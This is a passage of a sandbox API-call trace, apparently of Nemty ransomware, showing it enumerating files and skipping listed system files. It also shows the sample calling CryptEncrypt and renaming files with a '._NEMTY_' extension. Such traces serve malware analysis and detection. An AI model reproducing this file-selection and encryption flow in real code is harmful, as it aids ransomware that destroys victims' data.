RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0100.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0100.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0100.993] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.993] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0100.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0100.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.002] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.087] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.087] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.087] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.102] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.102] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.102] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0101.108] CloseHandle (hObject=0xffffffff) returned 0 [0101.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0101.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0101.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0101.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0101.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0101.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0101.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0101.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943b0 | out: hHeap=0x4f90000) returned 1 [0101.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp._nemty_kgobjgd_")) returned 0 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0101.111] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0101.111] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".") returned 1 [0101.111] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="..") returned 1 [0101.111] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="...") returned 1 [0101.111] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="windows") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="$RECYCLE.BIN") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="rsa") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="NTDETECT.COM") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="ntldr") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="MSDOS.SYS") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="IO.SYS") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="boot.ini") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="boot.ini") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="AUTOEXEC.BAT") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="ntuser.dat") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="desktop.ini") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="CONFIG.SYS") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="RECYCLER") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="BOOTSECT.BAK") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="bootmgr") returned 1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="programdata") returned -1 [0101.112] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="appdata") returned 1 [0101.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_1.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_1.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_1.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0101.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Genko_1.jtp", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Genko_1.jtp", lpUsedDefaultChar=0x0) returned 11 [0101.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0101.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0101.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0101.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94238 [0101.113] Sleep (dwMilliseconds=0x5) [0101.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefead570, dwHighDateTime=0x1d561e7)) [0101.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xefead570, dwHighDateTime=0x1d561e7)) [0101.117] GetLastError () returned 0x5 [0101.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0101.117] GetLastError () returned 0x5 [0101.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0101.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0101.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0101.117] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0101.117] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0101.118] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0101.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f942b0 [0101.118] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f942b0, pcchString=0x653ef9c | out: pszString="d4XzTIq08zzA0vmDkcY1j/sT9WaYw0+Bqj0VxnxvhtCl6/k/SzB/Wrc0aBm2Tp+4\r\nLc1FYFwLb997C/YG5RFQmHBa0XiVK9bvI8PrMKHrKfgAyxeUt8w6VyaD68sOSbAy\r\nwDCQ64yJV5Cwb1aZVdzpa0OBUJh4zDJa8HA+WxA+ca1Y1XPdPtSyLgN3u9grXsK+\r\nZtbAUW5Vwggk3duNDPuDjpWfC5PQZ5FMQlHMX5BCjeZ1Q6DmAgR1xGfRmt/Bwxwp\r\n3r/ZHPftWW48NoCgN20mAh/XlC5K3UGZ0DJv4iwA1HlR82LbuhqW2BxRUu8xFp/0\r\nxklvo71ImoWk88pl0fuZXw==\r\n", pcchString=0x653ef9c) returned 1 [0101.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0101.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0101.118] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0101.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0101.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f942b0 [0101.118] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0101.118] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0101.120] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0101.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0101.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0101.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0101.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0101.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, 